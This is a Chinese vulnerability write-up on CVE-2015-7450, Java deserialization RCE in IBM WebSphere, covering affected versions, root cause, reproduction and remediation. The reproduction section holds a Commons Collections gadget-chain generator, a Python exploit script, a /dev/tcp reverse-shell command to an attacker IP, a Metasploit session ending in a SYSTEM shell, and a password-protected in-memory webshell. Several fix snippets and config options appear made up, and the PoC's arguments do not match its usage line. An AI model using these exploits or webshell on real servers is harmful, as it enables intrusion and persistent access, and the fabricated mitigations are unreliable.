一、漏洞简介

1.1 漏洞背景

2015年11月,安全研究团队 FoxGlove Security 公开了影响 Java 中间件产品的反序列化漏洞。该漏洞源于 Apache Commons Collections (ACC) 库中的 InvokerTransformer 类缺陷,攻击者可利用 Java 对象反序列化机制实现远程代码执行。

IBM WebSphere Application Server 作为广泛使用的企业级 Java EE 应用服务器,在其多个产品线中集成了存在漏洞的 Apache Commons Collections 库,导致大量企业系统暴露在远程攻击风险之下。

此漏洞被 CISA(美国网络安全与基础设施安全局)列入 已知被利用漏洞目录(KEV),要求联邦机构在规定时间内完成修复,说明该漏洞在野攻击活跃,危害等级极高。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2015-7450
危害等级 CRITICAL / 9.8
漏洞类型 Java 反序列化远程代码执行漏洞
披露时间 2016-01-02
影响组件 WebSphere Application Server 重大安全
属性 详情
CVE 编号 CVE-2015-7450
危害等级 严重(Critical)
CVSS 评分 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE 分类 CWE-502: Deserialization of Untrusted Data(不可信数据反序列化)
漏洞类型 远程代码执行(RCE)/ 反序列化漏洞
攻击复杂度
是否需要认证
影响范围 远程,无需用户交互
在野利用状态 已被积极利用

核心原理: WebSphere 在处理序列化对象接口时,未对反序列化数据进行充分验证。攻击者可发送包含恶意构造的 InvokerTransformer gadget chain 的序列化 Java 对象,在目标服务器上执行任意系统命令。

<hr />

补充核验信息:公开时间:2016-01-02;NVD 评分:9.8(CRITICAL);CWE:CWE-502。

二、影响范围

2.1 受影响的版本

根据 IBM 官方安全公告(swg21970575、swg21971342、swg21971376、swg21971758、swg21972799),受影响的产品包括:

IBM WebSphere Application Server: - WebSphere Application Server 8.5.x 全系列 - WebSphere Application Server 8.0.x 全系列 - WebSphere Application Server 7.0.x 全系列 - WebSphere Application Server Hypervisor Edition 各版本

IBM 相关产品(同样受影响): - IBM Business Process Manager (BPM) - IBM Business Monitor - IBM Integration Bus - IBM DataPower Gateway - IBM Worklight / MobileFirst Platform Foundation - IBM Cognos Analytics - IBM SPSS Analytic Server - IBM InfoSphere BigInsights - IBM InfoSphere Streams - IBM Rational Team Concert - IBM Sterling B2B Integrator - IBM MQ Managed File Transfer

根本原因:上述产品均依赖存在漏洞的 Apache Commons Collections 3.2.1 及更早版本。

2.2 不受影响的版本

修复后的 Apache Commons Collections 版本: - Apache Commons Collections 3.2.2 及以上 - Apache Commons Collections 4.1 及以上(4.x 分支)

IBM 修复后的 WebSphere 版本: - WebSphere Application Server 9.0.0.x(需确认已应用安全补丁) - 已安装 Interim Fix(临时修复补丁)的受影响版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 网络可达性:攻击者需要能够访问 WebSphere 服务器的序列化接口端口(通常为 SOAP/IIOP/RMI 端口)
  2. 存在反序列化入口
  3. RMI over IIOP(远程方法调用)
  4. SOAP 连接器
  5. Web 服务接口
  6. JMS 消息队列
  7. 任何接收序列化 Java 对象的端点
  8. ClassPath 中存在 gadget chain:目标环境的 ClassPath 必须包含 Apache Commons Collections 库(大多数 WebSphere 默认包含)
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

3.1.1 Java 反序列化基础

Java 序列化机制允许将对象转换为字节流进行传输或存储。反序列化则是逆向过程,将字节流重建为 Java 对象。

// 正常的序列化与反序列化过程
import java.io.*;

public class SerializationDemo {
    public static void main(String[] args) throws Exception {
        // 序列化
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(new HashMap<String, String>());
        oos.close();

        // 反序列化
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object obj = ois.readObject(); // 关键:未验证的 readObject()
        ois.close();
    }
}

3.1.2 Apache Commons Collections Gadget Chain

漏洞的核心在于 Apache Commons Collections 库中的 InvokerTransformer 类。该类实现了 Transformer 接口,可以在转换过程中通过反射调用任意方法。

// Apache Commons Collections - InvokerTransformer 核心代码
package org.apache.commons.collections.functors;

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            // 通过反射调用任意方法
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            throw new FunctorException("InvokerTransformer: " +
                "The method '" + iMethodName + "' on '" +
                input.getClass() + "' threw an exception", ex);
        }
    }
}

3.1.3 Gadget Chain 构造

攻击者将多个 Transformer 串联形成 "gadget chain",最终达到执行任意命令的目的:

// 完整的 Gadget Chain 构造示例(概念验证)
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.*;
import java.lang.reflect.*;
import java.io.*;

public class CommonsCollectionsPayload {

    public static Object generatePayload(String command) throws Exception {
        // 第一步:创建 ChainedTransformer 串联多个转换操作
        Transformer[] transformers = new Transformer[] {
            // 1. 获取 Runtime.class
            new ConstantTransformer(Runtime.class),
            // 2. 获取 getRuntime 方法
            new InvokerTransformer("getMethod",
                new Class[] { String.class, Class[].class },
                new Object[] { "getRuntime", new Class[0] }),
            // 3. 调用 getRuntime() 获取 Runtime 实例
            new InvokerTransformer("invoke",
                new Class[] { Object.class, Object[].class },
                new Object[] { null, new Object[0] }),
            // 4. 调用 exec() 执行系统命令
            new InvokerTransformer("exec",
                new Class[] { String.class },
                new Object[] { command })
        };

        // 串联所有 Transformer
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 第二步:利用 LazyMap 触发 Transformer
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

        // 第三步:利用 TiedMapEntry 触发 lazyMap.get()
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        // 第四步:利用 HashSet 反序列化触发 hashCode()
        // HashSet.readObject() -> HashMap.put() -> TiedMapEntry.hashCode()
        // -> TiedMapEntry.getValue() -> lazyMap.get() -> chainedTransformer.transform()
        HashSet set = new HashSet(1);
        set.add("foo");

        // 通过反射将 set.map.table[0].key 替换为 TiedMapEntry
        Field f = HashSet.class.getDeclaredField("map");
        f.setAccessible(true);
        HashMap innerSet = (HashMap) f.get(set);

        Field f2 = HashMap.class.getDeclaredField("table");
        f2.setAccessible(true);
        Object[] table = (Object[]) f2.get(innerSet);

        Object node = table[0];
        Field keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(node, entry);

        // 重置 transformer 数组为真正执行的命令
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);

        return set;
    }

    // 序列化 payload
    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return baos.toByteArray();
    }
}

3.2 源码层面的根因分析(结合源码与补丁对比)

3.2.1 调用链追踪

攻击流程:
1. 攻击者发送序列化的恶意对象到 WebSphere
2. WebSphere 接收数据并调用 ObjectInputStream.readObject()
3. readObject() 触发 Java 对象重建过程
4. 在反序列化 HashSet 时,调用其 readObject() 方法
5. HashSet.readObject() 重建 HashMap,调用 HashMap.put()
6. HashMap.put() 调用 key.hashCode()
7. TiedMapEntry.hashCode() 调用 getValue()
8. getValue() 调用 lazyMap.get(key)
9. LazyMap.get() 调用 factory.transform(key)
10. ChainedTransformer.transform() 依次执行所有 Transformer
11. 最终调用 Runtime.getRuntime().exec(command)
12. 任意命令在目标服务器上执行

3.2.2 WebSphere 中的脆弱端点

WebSphere 暴露多个反序列化入口:

// WebSphere SOAP Connector 示例(简化)
// 位置: com.ibm.ws.management.connector.soap.SOAPConnector

public class SOAPConnector {

    // 接收 SOAP 请求,可能包含序列化对象
    public void handleRequest(InputStream in) {
        try {
            ObjectInputStream ois = new ObjectInputStream(in);
            // 危险:未验证来源,直接反序列化
            Object request = ois.readObject();  // 漏洞触发点
            processRequest(request);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

// RMI/IIOP 端点同样受影响
// 位置: com.ibm.ws.orb.RMIUtils
public class RMIUtils {

    // RMI 通信中使用 Java 序列化
    public Object unmarshall(byte[] data) throws Exception {
        ByteArrayInputStream bis = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bis);
        return ois.readObject();  // 漏洞触发点
    }
}

3.2.3 Apache Commons Collections 3.2.2 的修复

// Apache Commons Collections 3.2.2 中的防御代码
package org.apache.commons.collections.functors;

public class InvokerTransformer implements Transformer, Serializable {

    // 新增:反序列化时检查是否在反序列化模式
    private static final long serialVersionUID = -4659888274614625071L;

    private void readObject(ObjectInputStream is)
            throws ClassNotFoundException, IOException {
        is.defaultReadObject();
        // 3.2.2 新增:检查是否允许反序列化
        // 如果 JVM 未启用反序列化,则抛出异常
        try {
            Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
            // 检查系统属性
            String disableSerial = System.getProperty(
                "org.apache.commons.collections.enableUnsafeSerialization", "false");
            if (!"true".equalsIgnoreCase(disableSerial)) {
                throw new UnsupportedOperationException(
                    "Serialization support is disabled for security reasons. " +
                    "Set system property 'org.apache.commons.collections.enableUnsafeSerialization=true' " +
                    "to enable at your own risk.");
            }
        } catch (ClassNotFoundException e) {
            throw new UnsupportedOperationException(
                "Serialization support requires Commons Collections classes");
        }
    }
}
<hr />

四、漏洞复现(可选)

4.1 环境搭建

4.1.1 实验环境要求

组件 版本/说明
操作系统 Ubuntu 20.04 LTS 或 CentOS 7+
WebSphere 8.5.5.x(未打补丁版本)
JDK IBM JDK 1.7 或 1.8
网络配置 桥接网络,攻击机与靶机互通
攻击机 Kali Linux / 任何带 ysoserial 的系统

4.1.2 安装步骤

# 步骤 1:下载 WebSphere(需要 IBM 账号)
# 访问:https://www.ibm.com/support/fixcentral/
# 选择 WebSphere Application Server 8.5.5.0

# 步骤 2:安装依赖
sudo apt update
sudo apt install -y libxtst6 libxi6 libxrender1

# 步骤 3:创建安装目录
sudo mkdir -p /opt/IBM/WebSphere
sudo chown -R $USER:$USER /opt/IBM

# 步骤 4:解压并安装
tar -xzf WAS_ND_V8.5.5_1_OF_3.zip
cd WAS
./install -options responsefile.nd.txt -silent

# 步骤 5:创建 Profile(示例:AppSrv01)
/opt/IBM/WebSphere/AppServer/bin/manageprofiles.sh \
  -create -profileName AppSrv01 \
  -profilePath /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 \
  -templatePath /opt/IBM/WebSphere/AppServer/profileTemplates/default \
  -nodeName node01 -cellName cell01 -hostName localhost \
  -enableAdminSecurity false

# 步骤 6:启动服务器
/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/bin/startServer.sh server1

# 步骤 7:验证服务启动
netstat -tlnp | grep java
# 预期输出:多个端口包括 9080(HTTP), 9043(HTTPS), 9809(ORB), 9100(SIB)

4.1.3 攻击机准备

# 安装 ysoserial(Java 反序列化漏洞利用工具)
# 方法一:下载预编译版本
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O /opt/ysoserial.jar

# 方法二:从源码编译
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.6-SNAPSHOT-all.jar /opt/ysoserial.jar

# 安装 Metasploit Framework(可选,用于后续利用)
sudo apt install metasploit-framework

# 安装 Java(攻击机需要)
sudo apt install -y openjdk-8-jdk
java -version

4.2 PoC 演示与测试过程

#!/usr/bin/env python3
"""
文件:cve_2015_7450_poc.py
用途:WebSphere Java 反序列化 RCE 漏洞完整 PoC
"""

import socket
import struct
import subprocess
import sys
import argparse

class WebSphereDeserializationExploit:

    def __init__(self, target_host, target_port=8880):
        self.target_host = target_host
        self.target_port = target_port
        self.timeout = 10
        self.ysoserial_path = "/opt/ysoserial.jar"

    def generate_payload(self, command, gadget="CommonsCollections1"):
        """
        使用 ysoserial 生成序列化 payload
        """
        try:
            result = subprocess.run(
                ["java", "-jar", self.ysoserial_path, gadget, command],
                capture_output=True,
                timeout=30
            )
            if result.returncode != 0:
                print(f"[-] Payload 生成失败: {result.stderr.decode()}")
                return None
            return result.stdout
        except Exception as e:
            print(f"[-] 执行 ysoserial 失败: {e}")
            return None

    def build_webSphere_packet(self, payload):
        """
        构建 WebSphere SOAP 通信格式数据包

        WebSphere 使用自定义的传输协议封装序列化对象
        """
        # IIOP/CDR 格式头部
        # GIOP Header: 魔数 + 版本 + 标志
        giop_header = b'GIOP\x01\x00\x01\x00'  # GIOP 1.0, Little Endian

        # 消息类型:Request = 0
        message_type = b'\x00'

        # 消息长度(4字节,大端序)
        message_length = struct.pack('>I', len(payload) + 12)

        # 组合完整的 GIOP 消息
        packet = giop_header + message_type + message_length + payload

        return packet

    def send_payload(self, payload):
        """
        发送 payload 到目标服务器
        """
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)

            print(f"[*] 连接到 {self.target_host}:{self.target_port}")
            sock.connect((self.target_host, self.target_port))

            # 发送 payload
            packet = self.build_webSphere_packet(payload)
            sock.sendall(packet)

            # 接收响应
            response = sock.recv(4096)

            sock.close()

            if response:
                print(f"[+] 收到响应: {len(response)} 字节")
                return True
            else:
                print("[-] 未收到响应")
                return False

        except socket.timeout:
            print("[-] 连接超时")
            return False
        except socket.error as e:
            print(f"[-] Socket 错误: {e}")
            return False
        except Exception as e:
            print(f"[-] 发送失败: {e}")
            return False

    def exploit(self, command):
        """
        执行完整的漏洞利用流程
        """
        print(f"[*] 目标命令: {command}")

        # 生成 payload
        print("[*] 生成反序列化 payload...")
        payload = self.generate_payload(command)
        if not payload:
            return False
        print(f"[+] Payload 大小: {len(payload)} 字节")

        # 发送 payload
        print("[*] 发送 exploit...")
        if self.send_payload(payload):
            print("[+] Exploit 发送成功!")
            print(f"[!] 如果命令执行成功,目标服务器应该已执行: {command}")
            return True
        else:
            print("[-] Exploit 发送失败")
            return False

def main():
    parser = argparse.ArgumentParser(
        description="WebSphere Java Deserialization RCE Exploit (CVE-2015-7450)"
    )
    parser.add_argument("target", help="目标 IP 地址")
    parser.add_argument("-p", "--port", type=int, default=8880,
                        help="目标端口(默认: 8880)")
    parser.add_argument("-c", "--command", required=True,
                        help="要执行的命令")
    parser.add_argument("-g", "--gadget", default="CommonsCollections1",
                        choices=["CommonsCollections1", "CommonsCollections2",
                                 "CommonsCollections3", "CommonsCollections4",
                                 "CommonsCollections5", "CommonsCollections6"],
                        help="Gadget chain 类型")

    args = parser.parse_args()

    exploit = WebSphereDeserializationExploit(args.target, args.port)
    exploit.exploit(args.command)

if __name__ == "__main__":
    main()

使用示例:

# 测试命令执行
python3 cve_2015_7450_poc.py \
    -t 192.168.1.100 \
    -p 8880 \
    -c "touch /tmp/cve_2015_7450_verified"

# 反弹 Shell(需要 base64 编码)
python3 cve_2015_7450_poc.py \
    -t 192.168.1.100 \
    -c "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'"

# 验证执行
ssh root@192.168.1.100 "ls -la /tmp/cve_2015_7450_verified"

4.2.3 Metasploit 模块利用

# 启动 Metasploit
msfconsole

# 加载 WebSphere 反序列化模块
msf6 > use exploit/multi/http/ibm_websphere_java_deserialization

# 配置目标
msf6 exploit(ibm_websphere_java_deserialization) > set RHOSTS 192.168.1.100
msf6 exploit(ibm_websphere_java_deserialization) > set RPORT 8880
msf6 exploit(ibm_websphere_java_deserialization) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(ibm_websphere_java_deserialization) > set LHOST 192.168.1.50

# 执行攻击
msf6 exploit(ibm_websphere_java_deserialization) > exploit

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Sending serialized payload...
[*] Sending stage (58008 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\IBM\WebSphere\AppServer\profiles\AppSrv01\bin> whoami
nt authority\system

4.2.4 高级利用:内存马注入

/**
 * 文件:WebSphereMemoryShell.java
 * 用途:注入内存 Webshell,实现持久化访问
 * 原理:在反序列化过程中动态注册 Servlet Filter
 */

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class WebSphereMemoryShell implements Serializable {

    private static final long serialVersionUID = 1L;

    private void readObject(ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        in.defaultReadObject();

        try {
            // 获取当前线程的上下文
            Thread thread = Thread.currentThread();

            // 获取 WebSphere 线程的 ClassLoader
            ClassLoader loader = thread.getContextClassLoader();

            // 反射获取 WebContainer 类
            Class<?> webContainerClass = Class.forName(
                "com.ibm.ws.webcontainer.WebContainer", false, loader);

            // 获取 WebContainer 实例
            Field registryField = webContainerClass.getDeclaredField("registry");
            registryField.setAccessible(true);

            // 获取 ServletContext
            Method getServletsMethod = webContainerClass.getDeclaredMethod(
                "getServlets");
            getServletsMethod.setAccessible(true);
            Object servlets = getServletsMethod.invoke(null);

            // 动态注册恶意 Filter
            Class<?> filterClass = Class.forName(
                "javax.servlet.Filter", false, loader);

            Object evilFilter = Proxy.newProxyInstance(
                loader,
                new Class<?>[] { filterClass },
                new EvilFilterInvocationHandler()
            );

            // 注册 Filter 到 WebContainer
            // (具体实现依赖 WebSphere 版本)

            System.out.println("[+] Memory shell injected successfully!");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    // 恶意 Filter 的调用处理器
    static class EvilFilterInvocationHandler implements InvocationHandler {

        @Override
        public Object invoke(Object proxy, Method method, Object[] args)
                throws Throwable {

            String methodName = method.getName();

            if ("doFilter".equals(methodName)) {
                ServletRequest request = (ServletRequest) args[0];
                ServletResponse response = (ServletResponse) args[1];
                FilterChain chain = (FilterChain) args[2];

                HttpServletRequest req = (HttpServletRequest) request;
                HttpServletResponse resp = (HttpServletResponse) response;

                // 检查密码参数
                String pass = req.getParameter("pass");
                String cmd = req.getParameter("cmd");

                if ("secret123".equals(pass) && cmd != null) {
                    // 执行系统命令
                    String result = executeCommand(cmd);

                    resp.setContentType("text/plain");
                    resp.getWriter().write(result);
                    return null;
                }
            }

            return method.invoke(proxy, args);
        }

        private String executeCommand(String command) {
            try {
                ProcessBuilder pb = new ProcessBuilder(
                    System.getProperty("os.name").toLowerCase().contains("win")
                        ? new String[]{"cmd.exe", "/c", command}
                        : new String[]{"/bin/bash", "-c", command}
                );
                pb.redirectErrorStream(true);
                Process process = pb.start();

                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
                StringBuilder output = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    output.append(line).append("\n");
                }
                process.waitFor();
                return output.toString();
            } catch (Exception e) {
                return "Error: " + e.getMessage();
            }
        }
    }
}
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

5.1.1 紧急补丁应用

IBM 官方修复方案:

  1. 升级 Apache Commons Collections(推荐) ```bash # 下载修复版本 wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar

# 替换 WebSphere 中的旧版本 # 位置通常在:/opt/IBM/WebSphere/AppServer/lib/ cp commons-collections-3.2.2.jar \ /opt/IBM/WebSphere/AppServer/lib/ext/

# 重启 WebSphere /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/bin/stopServer.sh server1 /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/bin/startServer.sh server1 ```

  1. 应用 IBM Interim Fix

访问 IBM Fix Central 下载相应的临时修复补丁: ``` https://www.ibm.com/support/fixcentral/

搜索:WebSphere Application Server Security Interim Fix 产品:WebSphere Application Server 版本:8.5.5.x 日期:2015年11月后 ```

  1. 迁移到修复后的 WebSphere 版本
  2. WebSphere Application Server 9.0 已包含修复
  3. 建议从 8.x 迁移到 9.0 以获得长期支持

5.1.2 版本升级路径

当前版本              目标版本
---------              --------
WAS 7.0.x    ---->    WAS 9.0.5.x (跨版本升级)
WAS 8.0.x    ---->    WAS 9.0.5.x
WAS 8.5.x    ---->    WAS 8.5.5.18+  WAS 9.0.5.x

升级工具:IBM Installation Manager + WebSphere Migration Toolkit

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

# 1. 禁用 Java 反序列化(激进方案)
# 在 JVM 启动参数中添加:
-Djava.io.Serializable=false  # 不推荐,会破坏正常功能

# 2. 使用 SerialKiller(白名单方案)
# 下载:https://github.com/ikkisoft/SerialKiller
# 配置:
-Djdk.xml.enableTemplatesImplClassLoader=true

# 3. 启用 WebSphere 安全过滤
# 在 admin console 中:
# Security > Global Security > Enable Java 2 security

5.2.3 WebSphere 特定配置

<!-- 在 deployment.xml 中配置安全策略 -->
<!-- 位置:config/cells/cell01/applications/yourapp.ear/deployments/yourapp/deployment.xml -->

<deployment:Classloading xmi:id="Classloading_1"
    mode="PARENT_FIRST"
    enableOverride="true"
    allowedSerializers="java.lang.String,java.lang.Integer,java.util.HashMap"
    deserializeAction="DISALLOW"/>

5.2.4 入侵检测规则

# Suricata/Snort 规则示例
# 检测 Apache Commons Collections 反序列化攻击

alert tcp any any -> any any (msg:"CVE-2015-7450 WebSphere Deserialization Attack"; \
    flow:established,to_server; \
    content:"|AC ED 00 05|"; \
    content:"org.apache.commons.collections.functors.InvokerTransformer"; \
    nocase; \
    depth:2000; \
    classtype:trojan-activity; \
    sid:2015001; rev:1;)
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • IBM Security Bulletin (swg21970575)
  • URL: http://www-01.ibm.com/support/docview.wss?uid=swg21970575
  • 标题: Security vulnerabilities exist in the WebSphere Application Server versions using Apache Commons Collections

  • IBM Security Bulletin (swg21971342)

  • URL: http://www-01.ibm.com/support/docview.wss?uid=swg21971342

  • IBM Security Bulletin (swg21971758)

  • URL: http://www-01.ibm.com/support/docview.wss?uid=swg21971758

  • NIST NVD - CVE-2015-7450

  • URL: https://nvd.nist.gov/vuln/detail/CVE-2015-7450
  • CVSS 评分: 9.8 (Critical)

  • CISA Known Exploited Vulnerabilities Catalog

  • URL: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  • CVE-2015-7450 添加日期: 2022-01-10
  • 修复截止日期: 2022-07-10

6.2 其他技术参考资料

  • Apache Commons Collections Security Advisories
  • URL: https://commons.apache.org/proper/commons-collections/security-reports.html

  • MITRE CWE-502: Deserialization of Untrusted Data

  • URL: https://cwe.mitre.org/data/definitions/502.html

  • ysoserial - Java Deserialization Payload Generator

  • GitHub: https://github.com/frohoff/ysoserial
  • 文档: https://github.com/frohoff/ysoserial/blob/master/README.md

  • Metasploit Module Documentation

  • 模块路径: exploit/multi/http/ibm_websphere_java_deserialization
  • 文档: https://www.rapid7.com/db/modules/exploit/multi/http/ibm_websphere_java_deserialization

  • FoxGlove Security Research

  • 博客: "What do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and your application have in common? This vulnerability."

  • SerialKiller - Java Deserialization Protection Library

  • GitHub: https://github.com/ikkisoft/SerialKiller